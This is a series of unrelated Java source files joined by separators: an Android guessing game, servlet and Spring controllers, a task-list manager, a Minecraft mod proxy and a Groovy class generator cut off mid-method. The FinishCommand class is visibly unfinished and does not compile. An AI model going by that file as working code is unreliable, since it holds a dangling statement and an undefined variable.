hint_inputs[9] = (TextView) hint5.findViewById(R.id.num2);
hint_inputs[10] = (TextView) hint6.findViewById(R.id.num1);
hint_inputs[11] = (TextView) hint6.findViewById(R.id.num2);
// Initialize all hint answer field
hint_answer[0] = (TextView) hint1.findViewById(R.id.ans);
hint_answer[1] = (TextView) hint2.findViewById(R.id.ans);
hint_answer[2] = (TextView) hint3.findViewById(R.id.ans);
hint_answer[3] = (TextView) hint4.findViewById(R.id.ans);
hint_answer[4] = (TextView) hint5.findViewById(R.id.ans);
hint_answer[5] = (TextView) hint6.findViewById(R.id.ans);
//Initializes the class and generates the answer, can be used to compare with players' answers
unknownFunction = new UnknownFunctionGenerator();
final_answer = unknownFunction.getResult(input1, input2);
// Testing
testing();
//Used to test the random number generator, UnknownFunctionGenerator::randomGenerator()
// while (tempCounter > 0){
// testing = test.randomGenerator();
// Log.d("Number", Long.toString(testing));
// tempCounter--;
}
@Override
public void onBackPressed(){
// Disable back button
}
private View.OnClickListener answer_button = new View.OnClickListener() {
@Override
public void onClick(final View v) {
AlertDialog.Builder builder = new AlertDialog.Builder(OfflineMode.this);
builder.setTitle("Enter your answer:");
final EditText answer = new EditText(OfflineMode.this);
answer.setInputType(InputType.TYPE_CLASS_NUMBER);
builder.setCancelable(false);
builder.setView(answer);
builder.setPositiveButton("Submit", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Check answer
int change;
if(answer.getText().length() > 0 && Long.valueOf(answer.getText().toString()) == final_answer){
change = 1;
Toast.makeText(OfflineMode.this, "Correct", Toast.LENGTH_SHORT).show();
nextRound();
} else {
change = -1;
Toast.makeText(OfflineMode.this, "Incorrect", Toast.LENGTH_SHORT).show();
testing();
}
// Update score
if(v == player1_button){
int currentScore = Integer.valueOf(player1_score.getText().toString());
player1_score.setText(String.valueOf(currentScore + change));
} else {
int currentScore = Integer.valueOf(player2_score.getText().toString());
player2_score.setText(String.valueOf(currentScore + change));
}
}
});
builder.create().show();
}
};
private void nextRound(){
input1 = (int)Math.round(Math.random() * 1000.0) % 1000;
input2 = (int)Math.round(Math.random() * 1000.0) % 1000;
input1_view.setText(String.valueOf(input1));
input2_view.setText(String.valueOf(input2));
unknownFunction = new UnknownFunctionGenerator();
final_answer = unknownFunction.getResult(input1, input2);
for(TextView view: hint_inputs){
view.setText("");
}
for(TextView view: hint_answer){
view.setText("");
}
pos = 0;
testing();
}
// Test code
int pos = 0;
private void testing(){
int random_inp1 = (int) Math.floor(Math.random() * 10000.0);
int random_inp2 = (int) Math.floor(Math.random() * 10000.0);
hint_inputs[pos * 2].setText(String.valueOf(random_inp1));
hint_inputs[pos * 2 + 1].setText(String.valueOf(random_inp2));
hint_answer[pos].setText(String.valueOf(unknownFunction.getResult(random_inp1, random_inp2)));
pos = (pos + 1) % 6;
}
}
|
package pfa.alliance.fim.servlets;
import javax.management.MBeanServer;
import javax.management.MBeanServerFactory;
import pfa.alliance.fim.service.ConfigurationService;
import pfa.alliance.fim.service.PersistenceService;
import pfa.alliance.fim.service.impl.ConfigurationServiceImpl;
import pfa.alliance.fim.service.impl.DummPersistenceService;
import com.google.inject.Scopes;
import com.google.inject.servlet.ServletModule;
/**
* This class is used for define the mappings for Fim servlets and filters.
*
* @author Csaba
*/
class FimServletModule
extends ServletModule
{
@Override
protected void configureServlets()
{
super.configureServlets();
// temporary placed here
bind( ConfigurationService.class ).to( ConfigurationServiceImpl.class );
bind( PersistenceService.class ).to( DummPersistenceService.class );
// binding MBean Server if necessary in future
bind( MBeanServer.class ).toInstance( MBeanServerFactory.createMBeanServer() );
// bind configuration checker filter as singleton
bind( SetupVerifyFilter.class ).in( Scopes.SINGLETON );
|
package pl.edu.mimuw.changeanalyzer;
import java.io.File;
import java.io.IOException;
import java.util.Map;
import org.eclipse.jgit.revwalk.RevCommit;
import pl.edu.mimuw.changeanalyzer.exceptions.ChangeAnalyzerException;
import pl.edu.mimuw.changeanalyzer.extraction.ClassHistoryWrapper;
import pl.edu.mimuw.changeanalyzer.extraction.RepoHistoryExtractor;
import pl.edu.mimuw.changeanalyzer.models.GroupDataSetBuilder;
import pl.edu.mimuw.changeanalyzer.models.measures.GeometricMeasure;
import pl.edu.mimuw.changeanalyzer.models.measures.LinearMeasure;
import pl.edu.mimuw.changeanalyzer.models.measures.WeightedMeasure;
import weka.core.Instances;
import weka.core.converters.ArffSaver;
import weka.core.converters.Saver;
import ch.uzh.ifi.seal.changedistiller.model.entities.ClassHistory;
public class ExtractAndSave {
private static void extractAndSave(File repository, String resultPath)
throws IOException, ChangeAnalyzerException {
long startTime = System.currentTimeMillis();
RepoHistoryExtractor extractor = new RepoHistoryExtractor(repository);
Map<String, ClassHistory> map = extractor.extractClassHistories();
ClassHistoryWrapper wrapper = new ClassHistoryWrapper(map.values());
Iterable<RevCommit> commits = extractor.extractCommits();
GroupDataSetBuilder builder = new GroupDataSetBuilder();
Instances cgDataSet = builder
.addMeasure(new GeometricMeasure(0.7))
.addMeasure(new LinearMeasure(0.0))
.addMeasure(new WeightedMeasure())
.readCommits(commits)
.buildDataSet("changes", wrapper);
saveDataSet(cgDataSet, resultPath);
long endTime = System.currentTimeMillis();
double execTime = ((double) (endTime - startTime)) / 1000;
System.out.printf("Extracted data from %s into %s. Execution time: %.2f s%n",
repository.getAbsolutePath(), resultPath, execTime);
}
private static void saveDataSet(Instances dataSet, String path) throws IOException {
Saver saver = new ArffSaver();
saver.setInstances(dataSet);
saver.setFile(new File(path));
saver.writeBatch();
}
private static void safeExtractAndSave(File repository, String resultPath) {
try {
extractAndSave(repository, resultPath);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException, ChangeAnalyzerException {
for (int i = 0; i < args.length; ++i) {
File repository = new File(args[i]);
String resultPath = repository.getName() + ".arff";
safeExtractAndSave(repository, resultPath);
}
}
}
|
package romelo333.notenoughwands.proxy;
import net.minecraftforge.common.MinecraftForge;
import net.minecraftforge.common.config.Configuration;
import net.minecraftforge.fml.common.event.FMLInitializationEvent;
import net.minecraftforge.fml.common.event.FMLPostInitializationEvent;
import net.minecraftforge.fml.common.event.FMLPreInitializationEvent;
import org.apache.logging.log4j.Level;
import romelo333.notenoughwands.*;
import romelo333.notenoughwands.Items.GenericWand;
import romelo333.notenoughwands.network.PacketHandler;
import romelo333.notenoughwands.varia.WrenchChecker;
public abstract class CommonProxy {
private Configuration mainConfig;
public void preInit(FMLPreInitializationEvent e) {
mainConfig = NotEnoughWands.config;
ModItems.init();
ModBlocks.init();
readMainConfig();
ModCrafting.init();
GenericWand.setupChestLoot();
FreezePotion.freezePotion = new FreezePotion();
PacketHandler.registerMessages("notenoughwands");
}
private void readMainConfig() {
Configuration cfg = mainConfig;
try {
cfg.load();
cfg.addCustomCategoryComment(Config.CATEGORY_WANDS, "Wand configuration");
Config.init(cfg);
} catch (Exception e1) {
NotEnoughWands.logger.log(Level.ERROR, "Problem loading config file!", e1);
} finally {
if (mainConfig.hasChanged()) {
mainConfig.save();
}
}
}
public void init(FMLInitializationEvent e) {
MinecraftForge.EVENT_BUS.register(new ForgeEventHandlers());
}
public void postInit(FMLPostInitializationEvent e) {
if (mainConfig.hasChanged()) {
mainConfig.save();
}
mainConfig = null;
WrenchChecker.init();
}
}
|
package ru.codeninja.proxyapp.servlet;
import ru.codeninja.proxyapp.connection.*;
import ru.codeninja.proxyapp.header.ResponseHeadersManager;
import ru.codeninja.proxyapp.request.RequestedUrl;
import ru.codeninja.proxyapp.response.ResponseWriterFactory;
import ru.codeninja.proxyapp.response.writer.ResponseWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.logging.Logger;
/**
* Created: 22.01.15 20:47
*
* @author Vitaliy Mayorov
*/
public class ProxyServlet extends HttpServlet {
final Logger l = Logger.getLogger(this.getClass().getName());
UrlConnectionFactory urlConnectionFactory;
ResponseHeadersManager responseHeadersManager;
ResponseWriterFactory responseWriterFactory;
@Override
public void init() throws ServletException {
super.init();
urlConnectionFactory = new UrlConnectionFactory();
responseHeadersManager = new ResponseHeadersManager();
responseWriterFactory = new ResponseWriterFactory();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
UrlConnection urlConnection = urlConnectionFactory.get(HttpMethod.POST);
processRequest(urlConnection, req, resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
UrlConnection urlConnection = urlConnectionFactory.get(HttpMethod.GET);
processRequest(urlConnection, req, resp);
}
private void processRequest(UrlConnection urlConnection, HttpServletRequest req, HttpServletResponse resp) throws IOException {
RequestedUrl url = RequestedUrl.parse(req);
if (url == null) {
//todo we're in the root
l.info("root page");
} else {
if (SpyJsProtector.isSafe(url.getUrl())) {
ProxyConnection connection = urlConnection.connect(url);
if (connection == null) {
//todo implement an error page
l.warning("cannot connect an url");
} else {
responseHeadersManager.sendHeaders(resp, connection);
//todo implement the header manager
ResponseWriter responseWriter = responseWriterFactory.get(connection);
responseWriter.sendResponse(connection, resp);
}
} else {
// it's a spy url, let's do something
resp.setStatus(200);
}
}
}
}
|
package seedu.address.logic.commands;
import seedu.address.commons.core.Messages;
import seedu.address.commons.core.UnmodifiableObservableList;
import seedu.address.logic.commands.exceptions.CommandException;
import seedu.address.model.task.ReadOnlyTask;
import seedu.address.model.task.UniqueTaskList.TaskNotFoundException;
/**
* Deletes a person identified using it's last displayed index from the address book.
*/
public class FinishCommand extends Command {
public static final String COMMAND_WORD = "finish";
public static final String MESSAGE_USAGE = COMMAND_WORD
+ ": Marks the task identified by the index number used in the last task listing as finished.\n"
+ "Parameters: INDEX (must be a positive integer)\n"
+ "Example: " + COMMAND_WORD + " 1";
public static final String MESSAGE_FINISH_TASK_SUCCESS = "Mark finished task: %1$s";
public static final String MESSAGE_FINISH_TASK_MARKED = "Task had been finished: %1$s";
public final int targetIndex;
public FinishCommand(int targetIndex) {
this.targetIndex = targetIndex;
}
@Override
public CommandResult execute() throws CommandException {
UnmodifiableObservableList<ReadOnlyTask> lastShownList = model.getFilteredTaskList();
if (lastShownList.size() < targetIndex) {
throw new CommandException(Messages.MESSAGE_INVALID_TASK_DISPLAYED_INDEX);
}
ReadOnlyTask taskToMark = lastShownList.get(targetIndex - 1);
try {
if(taskToMark.isFinished()){
throw new CommandException(MESSAGE_FINISH_TASK_MARKED) ;
}
else{
taskToMark.
}
} catch (TaskNotFoundException pnfe) {
assert false : "The target person cannot be missing";
}
return new CommandResult(String.format(MESSAGE_FINISH_TASK_SUCCESS, personToDelete));
}
}
|
package seedu.task.model.task;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import seedu.task.commons.exceptions.DuplicateDataException;
import seedu.task.commons.util.CollectionUtil;
import seedu.task.model.task.UniqueTaskList.DuplicateTaskException;
import seedu.task.model.task.UniqueTaskList.TaskNotFoundException;
import java.util.*;
//@@author A0127720M
/**
* A list of tasks that enforces uniqueness between its elements and does not
* allow nulls.
*
* Supports a minimal set of list operations.
*
* @see Task#equals(Object)
* @see CollectionUtil#elementsAreUnique(Collection)
*/
public class UniqueMarkedTaskList implements Iterable<Task> {
private final ObservableList<Task> internalList = FXCollections.observableArrayList();
private final ArrayList<ArrayList<Task>> savedList = new ArrayList<ArrayList<Task>>();
private final ArrayList<ArrayList<Task>> savedRedoList = new ArrayList<ArrayList<Task>>();
/**
* Constructs empty TaskList.
*/
public UniqueMarkedTaskList() {
}
/**
* Returns true if the list contains an equivalent umarked task as the given
* argument.
*/
public boolean contains(ReadOnlyTask toCheck) {
assert toCheck != null;
return internalList.contains(toCheck);
}
/**
* Adds a task to the list.
*
* @throws DuplicateTaskException
* if the task to add is a duplicate of an existing task in the
* list.
*/
public void add(Task toAdd) throws DuplicateTaskException {
assert toAdd != null;
if (contains(toAdd)) {
throw new DuplicateTaskException();
}
saveCurrentTaskList();
clearMarkedRedoList();
internalList.add(toAdd);
}
/**
* Removes the equivalent task from the list.
*
* @throws TaskNotFoundException
* if no such task could be found in the list.
*/
public boolean remove(ReadOnlyTask toRemove) throws TaskNotFoundException {
assert toRemove != null;
saveCurrentTaskList();
clearMarkedRedoList();
final boolean taskFoundAndDeleted = internalList.remove(toRemove);
if (!taskFoundAndDeleted) {
throw new TaskNotFoundException();
}
return taskFoundAndDeleted;
}
// @@ author A0142360U
/*
* Undo the previous edit made to the marked task list. Saves current Tasks
* in an ArrayList for redo function
*/
public boolean undo() {
if (savedList.size() >= 1) {
saveMarkedTaskListForRedo();
internalList.clear();
ArrayList<Task> restoredList = savedList.get(savedList.size() - 1);
for (Task t : restoredList) {
internalList.add(t);
}
savedList.remove(savedList.size() - 1);
return true;
}
return false;
}
/*
* Redo the previous undo action made to the marked task list. Clears redo
* history if any other action other than undo is made
*/
public boolean redo() {
if (savedRedoList.size() >= 1) {
saveCurrentTaskList();
internalList.clear();
ArrayList<Task> restoredList = savedRedoList.get(savedRedoList.size() - 1);
for (Task t : restoredList) {
internalList.add(t);
}
savedRedoList.remove(savedRedoList.size() - 1);
return true;
}
return false;
}
public void addEmptyListInRedo() {
ArrayList<Task> emptyArrayList = new ArrayList<Task>();
savedRedoList.add(emptyArrayList);
}
public void addExistingMarkedTaskstInUndoArrayList() {
saveCurrentTaskList();
}
private void saveMarkedTaskListForRedo() {
ArrayList<Task> tempArrayList = new ArrayList<Task>();
for (Task t : internalList) {
tempArrayList.add(t);
}
savedRedoList.add(tempArrayList);
}
public void saveCurrentTaskList() {
ArrayList<Task> tempArrayList = new ArrayList<Task>();
for (Task t : internalList) {
tempArrayList.add(t);
}
savedList.add(tempArrayList);
}
public void clearMarkedRedoList() {
savedRedoList.clear();
}
// @@ author
public ObservableList<Task> getInternalList() {
return internalList;
}
@Override
public Iterator<Task> iterator() {
return internalList.iterator();
}
@Override
public boolean equals(Object other) {
return other == this // short circuit if same object
|| (other instanceof UniqueMarkedTaskList // instanceof handles
// nulls
&& this.internalList.equals(((UniqueMarkedTaskList) other).internalList));
}
@Override
public int hashCode() {
return internalList.hashCode();
}
}
|
package skadistats.clarity.source;
import sun.nio.ch.DirectBuffer;
import java.io.EOFException;
import java.io.File;
import java.io.IOException;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class MappedFileSource extends Source {
private FileChannel channel;
private MappedByteBuffer buf;
public MappedFileSource(String fileName) throws IOException {
this(Paths.get(fileName));
}
public MappedFileSource(File file) throws IOException {
this(file.toPath());
}
public MappedFileSource(Path file) throws IOException {
channel = FileChannel.open(file);
buf = channel.map(FileChannel.MapMode.READ_ONLY, 0L, Files.size(file));
}
@Override
public int getPosition() {
return buf.position();
}
@Override
public void setPosition(int position) throws IOException {
if (position > buf.limit()) {
throw new EOFException();
}
buf.position(position);
}
@Override
public byte readByte() throws IOException {
if (buf.remaining() < 1) {
throw new EOFException();
}
return buf.get();
}
@Override
public void readBytes(byte[] dest, int offset, int length) throws IOException {
if (buf.remaining() < length) {
throw new EOFException();
}
buf.get(dest, offset, length);
}
@Override
public void close() throws IOException {
if (channel != null) {
channel.close();
channel = null;
}
if (buf != null) {
((DirectBuffer) buf).cleaner().clean();
buf = null;
}
}
}
|
package tk.hishopapp.users;
import io.swagger.annotations.Api;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping("/api/v1/myaccount")
@Api("My user account")
public class MyUserAccountController {
private final UserAccountRepository userAccountRepository;
@Autowired
public MyUserAccountController(final UserAccountRepository userAccountRepository) {
this.userAccountRepository = userAccountRepository;
}
@RequestMapping(value = "", method = RequestMethod.GET)
public
@ResponseBody
UserAccount getMyUserAccount() {
Authentication a = SecurityContextHolder.getContext().getAuthentication();
User currentUser = (User) a.getPrincipal();
return userAccountRepository.findByUsername(currentUser.getUsername());
}
@RequestMapping(value = "", method = RequestMethod.PUT)
public
@ResponseBody
UserAccount updateUserAccount(@RequestBody UserAccount userAccount, HttpServletRequest request) {
Authentication a = SecurityContextHolder.getContext().getAuthentication();
if (a.getPrincipal().equals("anonymousUser")) {
throw new BadCredentialsException("You are not authenticated");
}
User currentUser = (User) a.getPrincipal();
UserAccount myUserAccount = userAccountRepository.findByUsername(currentUser.getUsername());
if (myUserAccount != null) {
// allow to change only firstname, lastname, patronymic
myUserAccount.setFirstname(userAccount.getFirstname());
myUserAccount.setLastname(userAccount.getLastname());
myUserAccount.setPatronymic(userAccount.getPatronymic());
userAccountRepository.updateUserAccount(myUserAccount);
return userAccount;
} else {
// we should not achieve this section
// because it mean that we auth user with credentials
// which are not now exists
// user can be deleted after we auth
throw new BadCredentialsException("No such user in database");
}
}
}
|
package weiboclient4j.utils;
import org.codehaus.jackson.map.PropertyNamingStrategy;
/**
* @author Hover Ruan
*/
public class SinaJsonNamingStrategy extends PropertyNamingStrategy.PropertyNamingStrategyBase {
public String translate(String propertyName) {
return convertName(propertyName);
}
String convertName(String defaultName) {
StringBuilder buf = new StringBuilder();
for (char ch : defaultName.toCharArray()) {
if (Character.isUpperCase(ch)) {
buf.append('_').append(Character.toLowerCase(ch));
} else {
buf.append(ch);
}
}
return buf.toString();
}
}
|
package org.codehaus.groovy.classgen;
import groovy.lang.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.*;
import java.util.regex.Matcher;
import java.util.logging.Logger;
import java.security.AccessController;
import java.security.PrivilegedAction;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.ast.ClassNode;
import org.codehaus.groovy.ast.CompileUnit;
import org.codehaus.groovy.ast.ConstructorNode;
import org.codehaus.groovy.ast.FieldNode;
import org.codehaus.groovy.ast.GroovyCodeVisitor;
import org.codehaus.groovy.ast.InnerClassNode;
import org.codehaus.groovy.ast.MethodNode;
import org.codehaus.groovy.ast.Parameter;
import org.codehaus.groovy.ast.PropertyNode;
import org.codehaus.groovy.ast.Type;
import org.codehaus.groovy.ast.VariableScope;
import org.codehaus.groovy.ast.expr.ArgumentListExpression;
import org.codehaus.groovy.ast.expr.ArrayExpression;
import org.codehaus.groovy.ast.expr.BinaryExpression;
import org.codehaus.groovy.ast.expr.BooleanExpression;
import org.codehaus.groovy.ast.expr.CastExpression;
import org.codehaus.groovy.ast.expr.ClassExpression;
import org.codehaus.groovy.ast.expr.ClosureExpression;
import org.codehaus.groovy.ast.expr.ConstantExpression;
import org.codehaus.groovy.ast.expr.ConstructorCallExpression;
import org.codehaus.groovy.ast.expr.Expression;
import org.codehaus.groovy.ast.expr.ExpressionTransformer;
import org.codehaus.groovy.ast.expr.FieldExpression;
import org.codehaus.groovy.ast.expr.GStringExpression;
import org.codehaus.groovy.ast.expr.ListExpression;
import org.codehaus.groovy.ast.expr.MapEntryExpression;
import org.codehaus.groovy.ast.expr.MapExpression;
import org.codehaus.groovy.ast.expr.MethodCallExpression;
import org.codehaus.groovy.ast.expr.NegationExpression;
import org.codehaus.groovy.ast.expr.NotExpression;
import org.codehaus.groovy.ast.expr.PostfixExpression;
import org.codehaus.groovy.ast.expr.PrefixExpression;
import org.codehaus.groovy.ast.expr.PropertyExpression;
import org.codehaus.groovy.ast.expr.RangeExpression;
import org.codehaus.groovy.ast.expr.RegexExpression;
import org.codehaus.groovy.ast.expr.StaticMethodCallExpression;
import org.codehaus.groovy.ast.expr.TernaryExpression;
import org.codehaus.groovy.ast.expr.TupleExpression;
import org.codehaus.groovy.ast.expr.VariableExpression;
import org.codehaus.groovy.ast.stmt.AssertStatement;
import org.codehaus.groovy.ast.stmt.BlockStatement;
import org.codehaus.groovy.ast.stmt.BreakStatement;
import org.codehaus.groovy.ast.stmt.CaseStatement;
import org.codehaus.groovy.ast.stmt.CatchStatement;
import org.codehaus.groovy.ast.stmt.ContinueStatement;
import org.codehaus.groovy.ast.stmt.DoWhileStatement;
import org.codehaus.groovy.ast.stmt.ExpressionStatement;
import org.codehaus.groovy.ast.stmt.ForStatement;
import org.codehaus.groovy.ast.stmt.IfStatement;
import org.codehaus.groovy.ast.stmt.ReturnStatement;
import org.codehaus.groovy.ast.stmt.Statement;
import org.codehaus.groovy.ast.stmt.SwitchStatement;
import org.codehaus.groovy.ast.stmt.SynchronizedStatement;
import org.codehaus.groovy.ast.stmt.ThrowStatement;
import org.codehaus.groovy.ast.stmt.TryCatchStatement;
import org.codehaus.groovy.ast.stmt.WhileStatement;
import org.codehaus.groovy.runtime.DefaultGroovyMethods;
import org.codehaus.groovy.runtime.InvokerHelper;
import org.codehaus.groovy.runtime.RegexSupport;
import org.codehaus.groovy.syntax.Token;
import org.codehaus.groovy.syntax.Types;
import org.codehaus.groovy.syntax.SyntaxException;
import org.codehaus.groovy.syntax.parser.RuntimeParserException;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.CodeVisitor;
import org.objectweb.asm.Label;
import org.objectweb.asm.ClassWriter;
/**
* Generates Java class versions of Groovy classes using ASM
* Based on AsmClassGenerator 1.6.
* @author <a href="mailto:james@coredevelopers.net">James Strachan</a>
* @author <a href="mailto:b55r@sina.com">Bing Ran</a>
*
* @version $Revision$
*/
public class AsmClassGenerator2 extends ClassGenerator {
private Logger log = Logger.getLogger(getClass().getName());
private ClassVisitor cw;
private CodeVisitor cv;
private GeneratorContext context;
private String sourceFile;
// current class details
private ClassNode classNode;
private ClassNode outermostClass;
private String internalClassName;
private String internalBaseClassName;
/** maps the variable names to the JVM indices */
private Map variableStack = new HashMap();
/** have we output a return statement yet */
private boolean outputReturn;
/** are we on the left or right of an expression */
private boolean leftHandExpression;
// cached values
MethodCaller invokeMethodMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeMethod");
MethodCaller invokeMethodSafeMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeMethodSafe");
MethodCaller invokeStaticMethodMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeStaticMethod");
MethodCaller invokeConstructorMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeConstructor");
MethodCaller invokeConstructorOfMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeConstructorOf");
MethodCaller invokeNoArgumentsConstructorOf = MethodCaller.newStatic(InvokerHelper.class, "invokeNoArgumentsConstructorOf");
MethodCaller invokeClosureMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeClosure");
MethodCaller invokeSuperMethodMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeSuperMethod");
MethodCaller invokeNoArgumentsMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeNoArgumentsMethod");
MethodCaller invokeStaticNoArgumentsMethod = MethodCaller.newStatic(InvokerHelper.class, "invokeStaticNoArgumentsMethod");
MethodCaller asIntMethod = MethodCaller.newStatic(InvokerHelper.class, "asInt");
MethodCaller asTypeMethod = MethodCaller.newStatic(InvokerHelper.class, "asType");
MethodCaller getPropertyMethod = MethodCaller.newStatic(InvokerHelper.class, "getProperty");
MethodCaller getPropertySafeMethod = MethodCaller.newStatic(InvokerHelper.class, "getPropertySafe");
MethodCaller setPropertyMethod = MethodCaller.newStatic(InvokerHelper.class, "setProperty");
MethodCaller setPropertyMethod2 = MethodCaller.newStatic(InvokerHelper.class, "setProperty2");
MethodCaller setPropertySafeMethod2 = MethodCaller.newStatic(InvokerHelper.class, "setPropertySafe2");
MethodCaller getGroovyObjectPropertyMethod = MethodCaller.newStatic(InvokerHelper.class, "getGroovyObjectProperty");
MethodCaller setGroovyObjectPropertyMethod = MethodCaller.newStatic(InvokerHelper.class, "setGroovyObjectProperty");
MethodCaller asIteratorMethod = MethodCaller.newStatic(InvokerHelper.class, "asIterator");
MethodCaller asBool = MethodCaller.newStatic(InvokerHelper.class, "asBool");
MethodCaller notBoolean = MethodCaller.newStatic(InvokerHelper.class, "notBoolean");
MethodCaller notObject = MethodCaller.newStatic(InvokerHelper.class, "notObject");
MethodCaller regexPattern = MethodCaller.newStatic(InvokerHelper.class, "regexPattern");
MethodCaller negation = MethodCaller.newStatic(InvokerHelper.class, "negate");
MethodCaller convertPrimitiveArray = MethodCaller.newStatic(InvokerHelper.class, "convertPrimitiveArray");
MethodCaller convertToPrimitiveArray = MethodCaller.newStatic(InvokerHelper.class, "convertToPrimitiveArray");
MethodCaller compareIdenticalMethod = MethodCaller.newStatic(InvokerHelper.class, "compareIdentical");
MethodCaller compareEqualMethod = MethodCaller.newStatic(InvokerHelper.class, "compareEqual");
MethodCaller compareNotEqualMethod = MethodCaller.newStatic(InvokerHelper.class, "compareNotEqual");
MethodCaller compareToMethod = MethodCaller.newStatic(InvokerHelper.class, "compareTo");
MethodCaller findRegexMethod = MethodCaller.newStatic(InvokerHelper.class, "findRegex");
MethodCaller matchRegexMethod = MethodCaller.newStatic(InvokerHelper.class, "matchRegex");
MethodCaller compareLessThanMethod = MethodCaller.newStatic(InvokerHelper.class, "compareLessThan");
MethodCaller compareLessThanEqualMethod = MethodCaller.newStatic(InvokerHelper.class, "compareLessThanEqual");
MethodCaller compareGreaterThanMethod = MethodCaller.newStatic(InvokerHelper.class, "compareGreaterThan");
MethodCaller compareGreaterThanEqualMethod = MethodCaller.newStatic(InvokerHelper.class, "compareGreaterThanEqual");
MethodCaller isCaseMethod = MethodCaller.newStatic(InvokerHelper.class, "isCase");
MethodCaller createListMethod = MethodCaller.newStatic(InvokerHelper.class, "createList");
MethodCaller createTupleMethod = MethodCaller.newStatic(InvokerHelper.class, "createTuple");
MethodCaller createMapMethod = MethodCaller.newStatic(InvokerHelper.class, "createMap");
MethodCaller createRangeMethod = MethodCaller.newStatic(InvokerHelper.class, "createRange");
MethodCaller assertFailedMethod = MethodCaller.newStatic(InvokerHelper.class, "assertFailed");
MethodCaller iteratorNextMethod = MethodCaller.newInterface(Iterator.class, "next");
MethodCaller iteratorHasNextMethod = MethodCaller.newInterface(Iterator.class, "hasNext");
// current stack index
private int lastVariableIndex;
private static int tempVariableNameCounter;
// exception blocks list
private List exceptionBlocks = new ArrayList();
private boolean definingParameters;
private Set syntheticStaticFields = new HashSet();
private Set mutableVars = new HashSet();
private boolean passingClosureParams;
private ConstructorNode constructorNode;
private MethodNode methodNode;
//private PropertyNode propertyNode;
private BlockScope scope;
private BytecodeHelper helper = new BytecodeHelper(null);
private VariableScope variableScope;
public static final boolean CREATE_DEBUG_INFO = true;
private static final boolean MARK_START = true;
public static final String EB_SWITCH_NAME = "static.dispatching";
public boolean ENABLE_EARLY_BINDING;
{
String ebSwitch = (String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(EB_SWITCH_NAME, "true"); // set default to true if early binding is on by default.
}
});
//System.out.println("ebSwitch = " + ebSwitch);
if (ebSwitch.equals("true")) {
ENABLE_EARLY_BINDING = true;
}
else if (ebSwitch.equals("false")) {
ENABLE_EARLY_BINDING = false;
}
else {
ENABLE_EARLY_BINDING = false;
log.warning("The value of system property " + EB_SWITCH_NAME + " is not recognized. Late dispatching is assumed. ");
}
}
public static final boolean ASM_DEBUG = false; // add marker in the bytecode to show source-byecode relationship
private int lineNumber = -1;
private int columnNumber = -1;
private ASTNode currentASTNode = null;
private DummyClassGenerator dummyGen = null;
private ClassWriter dummyClassWriter = null;
public AsmClassGenerator2(
GeneratorContext context,
ClassVisitor classVisitor,
ClassLoader classLoader,
String sourceFile) {
super(classLoader);
this.context = context;
this.cw = classVisitor;
this.sourceFile = sourceFile;
this.dummyClassWriter = new ClassWriter(true);
dummyGen = new DummyClassGenerator(context, dummyClassWriter, classLoader, sourceFile);
}
// GroovyClassVisitor interface
public void visitClass(ClassNode classNode) {
// todo to be tested
// createDummyClass(classNode);
try {
syntheticStaticFields.clear();
this.classNode = classNode;
this.outermostClass = null;
this.internalClassName = BytecodeHelper.getClassInternalName(classNode.getName());
//System.out.println("Generating class: " + classNode.getName());
// lets check that the classes are all valid
classNode.setSuperClass(checkValidType(classNode.getSuperClass(), classNode, "Must be a valid base class"));
String[] interfaces = classNode.getInterfaces();
for (int i = 0; i < interfaces.length; i++ ) {
interfaces[i] = checkValidType(interfaces[i], classNode, "Must be a valid interface name");
}
this.internalBaseClassName = BytecodeHelper.getClassInternalName(classNode.getSuperClass());
cw.visit(
classNode.getModifiers(),
internalClassName,
internalBaseClassName,
BytecodeHelper.getClassInternalNames(classNode.getInterfaces()),
sourceFile);
// set the optional enclosing method attribute of the current inner class
// br comment out once Groovy uses the latest CVS HEAD of ASM
// MethodNode enclosingMethod = classNode.getEnclosingMethod();
// String ownerName = BytecodeHelper.getClassInternalName(enclosingMethod.getDeclaringClass().getName());
// String descriptor = BytecodeHelper.getMethodDescriptor(enclosingMethod.getReturnType(), enclosingMethod.getParameters());
// EnclosingMethodAttribute attr = new EnclosingMethodAttribute(ownerName,enclosingMethod.getName(),descriptor);
// cw.visitAttribute(attr);
classNode.visitContents(this);
createSyntheticStaticFields();
for (Iterator iter = innerClasses.iterator(); iter.hasNext();) {
ClassNode innerClass = (ClassNode) iter.next();
String innerClassName = innerClass.getName();
String innerClassInternalName = BytecodeHelper.getClassInternalName(innerClassName);
String outerClassName = internalClassName; // default for inner classes
MethodNode enclosingMethod = innerClass.getEnclosingMethod();
if (enclosingMethod != null) {
// local inner classes do not specify the outer class name
outerClassName = null;
}
cw.visitInnerClass(
